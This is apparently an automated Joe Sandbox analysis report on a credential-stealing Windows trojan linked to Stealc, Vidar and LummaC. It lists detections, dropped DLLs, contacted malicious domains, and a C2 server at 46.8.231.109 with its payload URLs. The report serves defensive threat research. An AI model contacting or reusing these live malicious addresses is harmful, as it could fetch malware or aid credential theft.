C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
45Ywq5ad5H.exe	100%	Avira	HEUR/AGEN.1310458
45Ywq5ad5H.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\userJKECGDBFCB.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	100%	Joe Sandbox ML
C:\Users\userJKECGDBFCB.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
wickedneatr.sbs	188.114.96.3	true	true	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
isoplethui.sbs	104.21.74.165	true	true	unknown
frizzettei.sbs	unknown	unknown	true	unknown
laddyirekyi.sbs	unknown	unknown	true	unknown
bemuzzeki.sbs	unknown	unknown	true	unknown
invinjurhey.sbs	unknown	unknown	true	unknown
time.windows.com	unknown	unknown	false	unknown
exilepolsiy.sbs	unknown	unknown	true	unknown
exemplarou.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	URL Reputation: malware	unknown
laddyirekyi.sbs	true		unknown
isoplethui.sbs	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
exilepolsiy.sbs	true		unknown
https://wickedneatr.sbs/api	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	URL Reputation: malware	unknown
bemuzzeki.sbs	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown
exemplarou.sbs	true		unknown
wickedneatr.sbs	true		unknown
https://isoplethui.sbs/api	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false		unknown
https://duckduckgo.com/chrome_newtab	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll#	MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
https://wickedneatr.sbs/	MSBuild.exe, 00000013.00000002.1624988379.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpe	MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.php8	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php3	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe)	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wickedneatr.sbs/pi5bmw	MSBuild.exe, 00000013.00000002.1624988379.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpH	MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1764067559.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	false		unknown
https://mozilla.org0/	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EGIIIECB.1.dr	false		unknown
http://46.8.231.109/c4754d4f680ead72.php44	MSBuild.exe, 00000001.00000002.1758063366.0000000027637000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109ECGDBFCBdata;	MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllI	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	false	URL Reputation: safe	unknown
https://wickedneatr.sbs/api-	MSBuild.exe, 00000013.00000002.1624988379.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109	MSBuild.exe, 00000001.00000002.1743156168.0000000001347000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exeY	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll1	MSBuild.exe, 00000001.00000002.1743156168.0000000001388000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	DGIJECGDGCBKECAKFBGC.1.dr	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpHc	MSBuild.exe, 00000001.00000002.1758063366.0000000027637000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false		unknown
https://support.mozilla.org	JKKEBGCGHIDHCBFHIDGHCBKEHC.1.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EGIIIECB.1.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----HIDAFHDHCBGDGCBGCGIIdefault-releasetargeting.snapshot	MSBuild.exe, 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	MSBuild.exe, 00000001.00000002.1758063366.0000000027618000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGC.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
188.114.96.3	wickedneatr.sbs	European Union	13335	CLOUDFLARENETUS	true
104.21.74.165	isoplethui.sbs	United States	13335	CLOUDFLARENETUS	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528300
Start date and time:	2024-10-07 18:42:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	45Ywq5ad5H.exe renamed because original name is a hash value
Original Sample Name:	b6abd0879ebc05d7be3038ed080cfcb4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/42@10/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 87 Number of non-executed functions: 224
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.23, 40.126.31.71, 20.190.159.68, 40.126.31.73, 20.190.159.75, 20.190.159.71, 40.126.31.67, 40.126.31.69, 199.232.214.172, 13.95.65.251, 20.109.210.53, 20.3.187.198, 52.182.143.212, 93.184.221.240, 20.189.173.21, 20.189.173.22
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, otelrules.afd.azureedge.net, onedsblobprdwus17.westus.cloudapp.azure.com, wu.azureedge.net, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, onedsblobprdwus16.westus.cloudapp.azure.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanage
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 45Ywq5ad5H.exe

Simulations

Behavior and APIs

Time	Type	Description
12:43:25	API Interceptor	3x Sleep call for process: MSBuild.exe modified
12:43:27	API Interceptor	4x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
188.114.96.3	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?9rm4ULV=iDjdFcjw5QZJ8NeJJL4ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+m2NwmP2xDXw&D4hl2=fT-dvVK08nUDKdF
	74qgPmarBM.exe	Get hash	malicious	Pony	Browse	kuechenundmehr.com/x.htm
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	z71htmivzKAUpOkr2J.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.45
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Payment.vbs	Get hash	malicious	FormBook	Browse	13.107.246.45
	original.eml	Get hash	malicious	Tycoon2FA	Browse	13.107.246.45
	5fe2eenspI.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://kohlhage-de.powerappsportals.com/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.45
nsdm.cumpar-auto-orice-tip.ro	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
nsdm.cumpar-auto-orice-tip.ro	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
bg.microsoft.map.fastly.net	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.210.172
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	199.232.214.172
	file.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.210.172
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://protect2.fireeye.com/v1/url?k=31323334-50bba2bf-3132a9b3-4544474f5631-9e1721db7158d01a&q=1&e=fd99754d-b74a-4ce2-bf27-63a41e808f94&u=https%3A%2F%2Fwww.rhris.com%2FEmailEmploymentValidation.cfm%3FEmploymentRefID%3DE84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://eu.pbe.encryption.symantec.com/login.html?msgUserId=682e23d9f715c97c&enterprise=lgas&locale=en_US	Get hash	malicious	Unknown	Browse	199.232.210.172
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
wickedneatr.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
wickedneatr.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	172.67.145.190
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	172.67.212.190
	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Contract_Agreement_Monday October 2024.pdf	Get hash	malicious	Unknown	Browse	104.21.90.101
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109
CLOUDFLARENETUS	SecuriteInfo.com.Win64.TrojanX-gen.22573.8055.exe	Get hash	malicious	Unknown	Browse	172.67.145.190
	Ref#0503711.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	vEcIHT68pU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzEwODA2LCJuYmYiOjE3MjgzMTA4MDYsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJwODJtNGNzMzB4cXl2Zmh0NzQxaSIsInRva2VuIjoicDgybTRjczMweHF5dmZodDc0MWkiLCJzZW5kX2F0IjoxNzI4MzA5NzMyLCJlbWFpbF9pZCI6OTk2NDE4NiwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTQwMTYsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj0lRjAlOUYlOTElOEMrV2UrTWFkZStJdCtFYXN5K0ZvcitZb3UrJUYwJTlGJTkxJThDIn0.MNRoosOspCCWwx3VuYY41W-crcEzfjjfIELlO_QMAdM	Get hash	malicious	HtmlDropper	Browse	172.67.212.190
